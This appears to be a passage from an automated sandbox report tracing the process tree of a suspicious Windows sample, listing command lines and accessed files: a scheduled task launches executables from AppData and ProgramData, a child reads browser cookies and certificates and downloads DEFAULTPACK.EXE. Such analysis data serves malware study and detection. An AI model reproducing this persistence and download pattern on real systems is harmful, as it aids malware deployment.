        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__
        
        3168
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML\
        
        Time lapse
        
        70.638327
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\YAML
        
        892
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\_DISTUTILS_HACK\
        
        Time lapse
        
        70.669527
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\_DISTUTILS_HACK

2160
- Image path
  - TASKENG.EXE {9DF0E321-5F76-4AD8-A5EA-315E30C83AE1} S-1-5-21-3823682093-1211322545-3225290208-500:WIN-L842SFCIE1T\ADMINISTRATOR:INTERACTIVE:[1]
- Time lapse
  - 11.481621
- Files Accessed
  - C:\WINDOWS\SYSTEM32\KTMW32.DLL
    C:\WINDOWS\SYSTEM32\WEVTAPI.DLL
    C:\WINDOWS\SYSTEM32\IMM32.DLL
    C:\WINDOWS\SYSTEM32\EN-US\TASKENG.EXE.MUI
    C:\WINDOWS\SYSTEM32\RPCSS.DLL
    C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
    C:\WINDOWS\SYSTEM32\SECHOST.DLL
    C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
    C:\WINDOWS\SYSTEM32\RSAENH.DLL
    C:\WINDOWS\SYSTEM32\SSPICLI.DLL
    C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
    C:\WINDOWS\SYSTEM32\RPCRTREMOTE.DLL
    C:\WINDOWS\SYSTEM32\TSCHANNEL.DLL
    C:\WINDOWS\SYSTEM32\UXTHEME.DLL
    C:\WINDOWS\SYSTEM32\TASKS\SILVERLIGHT
    C:\WINDOWS\SYSTEM32\XMLLITE.DLL
    C:\WINDOWS\SYSTEM32\DWMAPI.DLL
    C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\SILVERLIGHT.EXE
    C:\WINDOWS\SYSTEM32\APPHELP.DLL
    C:\WINDOWS\APPPATCH\SYSMAIN.SDB
    C:\WINDOWS\SYSTEM32\TASKS\SHELLEXPERIENCEHOST
    C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SHELLEXPERIENCEHOST.EXE
    C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
- Process children
  - 3092
    - Image path
      - C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\SILVERLIGHT.EXE
    - Time lapse
      - 11.71562
    - Files Accessed
      - C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_5.82.7601.17514_NONE_EC83DFFA859149AF\COMCTL32.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\SILVERLIGHT.EXE
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\FONTS\MICROSS.TTF
        C:\WINDOWS\SYSWOW64\EN-US\USER32.DLL.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\FONTS\STATICCACHE.DAT
        C:\WINDOWS\SYSWOW64\OLE32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\MSCTF.DLL.MUI
        C:\WINDOWS\SYSWOW64\CLUSAPI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTDLL.DLL
        C:\_063508_
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\SYSWOW64\FECLIENT.DLL
        C:\F0E543E3CE57499DFE\SILVERLIGHT.7Z
        C:\F0E543E3CE57499DFE\INSTALL.RES.DLL
        C:\F0E543E3CE57499DFE\INSTALL.EXE
        C:\F0E543E3CE57499DFE\MICROSOFT_DEFAULTS.EXE
        C:\F0E543E3CE57499DFE\SILVERLIGHT.MSI
        C:\F0E543E3CE57499DFE\$SHTDWN$.REQ
    - Process children
      - 3492
        
        Image path
        
        C:\F0E543E3CE57499DFE\INSTALL.EXE
        
        Time lapse
        
        15.164629
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\MSIMG32.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_41E6975E2BD6F2B2\COMCTL32.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\F0E543E3CE57499DFE\INSTALL.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\SILVERLIGHT0.LOG
        C:\WINDOWS\SYSWOW64\RICHED20.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.7601.17514_NONE_72D18A4386696C80\GDIPLUS.DLL
        C:\F0E543E3CE57499DFE\INSTALL.RES.DLL
        C:\WINDOWS\SYSWOW64\MSI.DLL
        C:\WINDOWS\FONTS\TAHOMA.TTF
        C:\WINDOWS\WIN.INI
        C:\WINDOWS\FONTS\TAHOMABD.TTF
        C:\WINDOWS\FONTS\VERDANA.TTF
        C:\WINDOWS\SYSWOW64\OLE32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\MSCTF.DLL.MUI
        C:\WINDOWS\FONTS\STATICCACHE.DAT
        C:\WINDOWS\SYSWOW64\WINDOWSCODECS.DLL
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSWOW64\PROPSYS.DLL
        C:\WINDOWS\SYSWOW64\SHELL32.DLL
        C:\WINDOWS\SYSWOW64\IEFRAME.DLL
        C:\WINDOWS\SYSWOW64\EN-US\IEFRAME.DLL.MUI
        C:\WINDOWS\SYSWOW64\OLEACC.DLL
        C:\WINDOWS\SYSWOW64\OLEACCRC.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\CACHES\CVERSIONS.1.DB
        C:\WINDOWS\SYSWOW64\NTMARTA.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\CACHES\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.VER0X0000000000000002.DB
        C:\USERS\ADMINISTRATOR\DESKTOP\DESKTOP.INI
        C:\WINDOWS\SYSWOW64\EN-US\PROPSYS.DLL.MUI
        C:\F0E543E3CE57499DFE\MICROSOFT_DEFAULTS.EXE
        C:\WINDOWS\SYSWOW64\DEVRTL.DLL
        C:\WINDOWS\APPPATCH\PCAMAIN.SDB
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\SILVERLIGHTMSI.LOG
        C:\WINDOWS\SYSWOW64\MSIMSG.DLL
        C:\WINDOWS\SYSWOW64\EN-US\MSIMSG.DLL.MUI
        C:\WINDOWS\SYSWOW64\NETAPI32.DLL
        C:\WINDOWS\SYSWOW64\NETUTILS.DLL
        C:\WINDOWS\SYSWOW64\SRVCLI.DLL
        C:\WINDOWS\SYSWOW64\WKSCLI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\SYSWOW64\RPCRTREMOTE.DLL
        C:\F0E543E3CE57499DFE\SILVERLIGHT.7Z
        C:\F0E543E3CE57499DFE\SILVERLIGHT.MSP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MICROSOFT\SILVERLIGHT
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\XAPAUTHENTICODESIP.DLL
        C:\WINDOWS\SYSWOW64\RUNDLL32.EXE
        C:\WINDOWS\SYSWOW64\WUAPI.DLL
        C:\WINDOWS\SYSWOW64\CABINET.DLL
        C:\WINDOWS\WINDOWSUPDATE.LOG
        C:\PROGRAM FILES (X86)\DESKTOP.INI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\WUPS.DLL
        C:\WINDOWS\SYSWOW64\TZRES.DLL
        C:\WINDOWS\SYSWOW64\EN-US\TZRES.DLL.MUI
        C:\WINDOWS\FONTS\VERDANAB.TTF
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SILVERLIGHT.CONFIGURATION.EXE
        
        Process children
        
        3700
        
        Image path
        
        "C:\F0E543E3CE57499DFE\MICROSOFT_DEFAULTS.EXE" DHP=TRUE DSP=TRUE
        
        Time lapse
        
        27.036249
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\SENSAPI.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\F0E543E3CE57499DFE\MICROSOFT_DEFAULTS.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\SYSWOW64\WININET.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_41E6975E2BD6F2B2\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\INDEX.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\INDEX.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\HISTORY\HISTORY.IE5\INDEX.DAT
        C:\WINDOWS\SYSWOW64\NTMARTA.DLL
        C:\WINDOWS\SYSWOW64\DNSAPI.DLL
        C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
        C:\WINDOWS\SYSWOW64\WINNSI.DLL
        C:\WINDOWS\SYSWOW64\RASAPI32.DLL
        C:\WINDOWS\SYSWOW64\RASMAN.DLL
        C:\WINDOWS\SYSWOW64\RTUTILS.DLL
        C:\WINDOWS\SYSWOW64\NLAAPI.DLL
        C:\WINDOWS\SYSWOW64\NAPINSP.DLL
        C:\WINDOWS\SYSWOW64\PNRPNSP.DLL
        C:\WINDOWS\SYSWOW64\MSWSOCK.DLL
        C:\WINDOWS\SYSWOW64\WINRNR.DLL
        C:\WINDOWS\SYSWOW64\WSHBTH.DLL
        C:\WINDOWS\SYSWOW64\WSHTCPIP.DLL
        C:\WINDOWS\SYSWOW64\WSHIP6.DLL
        C:\WINDOWS\SYSWOW64\RASADHLP.DLL
        C:\WINDOWS\SYSWOW64\FWPUCLNT.DLL
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSWOW64\NETPROFM.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\SYSWOW64\RPCRTREMOTE.DLL
        C:\WINDOWS\SYSWOW64\NPMPROXY.DLL
        C:\WINDOWS\SYSWOW64\DHCPCSVC.DLL
        C:\WINDOWS\SYSWOW64\DHCPCSVC6.DLL
        C:\WINDOWS\SYSWOW64\EN-US\URLMON.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\ADMINISTRATOR@MSN[1].TXT
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CERTIFICATES
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CRLS
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CTLS
        C:\WINDOWS\SYSWOW64\SCHANNEL.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\ADMINISTRATOR@MICROSOFT[2].TXT
        C:\WINDOWS\SYSWOW64\CREDSSP.DLL
        C:\WINDOWS\SYSWOW64\SECUR32.DLL
        C:\WINDOWS\SYSWOW64\NCRYPT.DLL
        C:\WINDOWS\SYSWOW64\BCRYPT.DLL
        C:\WINDOWS\SYSWOW64\BCRYPTPRIMITIVES.DLL
        C:\WINDOWS\SYSWOW64\GPAPI.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CRYPT32.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\Y0NCF8FR\DEFAULTPACK[1].EXE
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\DEFAULTPACK.EXE
        
        3136
        
        Image path
        
        "C:\WINDOWS\SYSTEM32\RUNDLL32.EXE" "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SLMSPRBOOTSTRAP.DLL",SETUPPLAYREADYDATA
        
        Time lapse
        
        37.800268
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACWOW64.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\WINDOWS\SYSWOW64\RUNDLL32.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\RUNDLL32.EXE.MUI
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SLMSPRBOOTSTRAP.DLL
        C:\WINDOWS\SYSWOW64\MSI.DLL
        C:\WINDOWS\SYSWOW64\NTMARTA.DLL
        C:\PROGRAMDATA\MICROSOFT
        
        3144
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" MSCORLIB.DLL
        
        Time lapse
        
        38.54907
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORRC.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        
        3352
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.DLL
        
        Time lapse
        
        42.417877
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORRC.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
        
        3312
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.CORE.DLL
        
        Time lapse
        
        42.870278
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORRC.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.NI.DLL
        
        3380
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.NET.DLL
        
        Time lapse
        
        44.08708
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.NI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
